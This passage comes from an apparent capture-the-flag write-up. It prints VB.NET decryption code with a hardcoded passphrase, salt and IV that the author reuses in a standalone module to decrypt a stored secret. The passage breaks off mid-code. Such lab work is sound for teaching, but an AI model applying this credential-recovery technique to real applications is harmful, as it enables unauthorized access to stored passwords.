&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-vb&quot; data-lang=&quot;vb&quot;&gt;    &lt;span class=&quot;k&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Shared&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;DecryptString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EncryptedString&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;If&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IsNullOrEmpty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EncryptedString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Then&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Empty&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;Else&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Decrypt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EncryptedString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;N3st22&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;88552299&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;464R5DFA5DL6LE28&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;If&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Function&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Shared&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Decrypt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;ByVal&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cipherText&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                   &lt;span class=&quot;k&quot;&gt;ByVal&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;passPhrase&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                   &lt;span class=&quot;k&quot;&gt;ByVal&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;saltValue&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                    &lt;span class=&quot;k&quot;&gt;ByVal&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;passwordIterations&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Integer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                   &lt;span class=&quot;k&quot;&gt;ByVal&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;initVector&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                   &lt;span class=&quot;k&quot;&gt;ByVal&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;keySize&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Integer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                           &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;initVectorBytes&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;initVectorBytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ASCII&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;initVector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;saltValueBytes&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;saltValueBytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ASCII&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;saltValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;cipherTextBytes&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;cipherTextBytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FromBase64String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cipherText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;password&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;New&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Rfc2898DeriveBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;passPhrase&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                           &lt;span class=&quot;n&quot;&gt;saltValueBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                           &lt;span class=&quot;n&quot;&gt;passwordIterations&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;keyBytes&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;keyBytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;CInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;keySize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;symmetricKey&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;New&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AesCryptoServiceProvider&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;symmetricKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Mode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CipherMode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CBC&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;decryptor&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ICryptoTransform&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;decryptor&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;symmetricKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CreateDecryptor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;keyBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;initVectorBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;memoryStream&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MemoryStream&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;memoryStream&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;New&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MemoryStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cipherTextBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;cryptoStream&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CryptoStream&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;cryptoStream&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;New&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CryptoStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;memoryStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                        &lt;span class=&quot;n&quot;&gt;decryptor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                        &lt;span class=&quot;n&quot;&gt;CryptoStreamMode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;plainTextBytes&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;ReDim&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;plainTextBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cipherTextBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;decryptedByteCount&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Integer&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;decryptedByteCount&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cryptoStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;plainTextBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                               &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                               &lt;span class=&quot;n&quot;&gt;plainTextBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;memoryStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;cryptoStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;plainText&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;plainText&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ASCII&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;plainTextBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                            &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                            &lt;span class=&quot;n&quot;&gt;decryptedByteCount&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;plainText&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Function&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This seems to be the related password. If we use this to build our own vb file.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-vb&quot; data-lang=&quot;vb&quot;&gt;&lt;span class=&quot;k&quot;&gt;Imports&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;System&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;Imports&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;System.Text&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;Imports&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;System.Security.Cryptography&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Module&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Module1&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;DecryptString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EncryptedString&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;If&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IsNullOrEmpty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EncryptedString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Then&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Empty&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;Else&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Decrypt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EncryptedString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;N3st22&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;88552299&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;464R5DFA5DL6LE28&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;If&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Function&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Decrypt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;ByVal&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cipherText&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                   &lt;span class=&quot;k&quot;&gt;ByVal&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;passPhrase&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                   &lt;span class=&quot;k&quot;&gt;ByVal&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;saltValue&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                    &lt;span class=&quot;k&quot;&gt;ByVal&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;passwordIterations&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Integer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                   &lt;span class=&quot;k&quot;&gt;ByVal&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;initVector&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                   &lt;span class=&quot;k&quot;&gt;ByVal&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;keySize&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Integer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                           &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;initVectorBytes&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;initVectorBytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ASCII&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;initVector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;saltValueBytes&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;saltValueBytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ASCII&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;saltValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;cipherTextBytes&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;cipherTextBytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FromBase64String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cipherText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;password&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;New&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Rfc2898DeriveBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;passPhrase&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                           &lt;span class=&quot;n&quot;&gt;saltValueBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                           &lt;span class=&quot;n&quot;&gt;passwordIterations&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;keyBytes&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
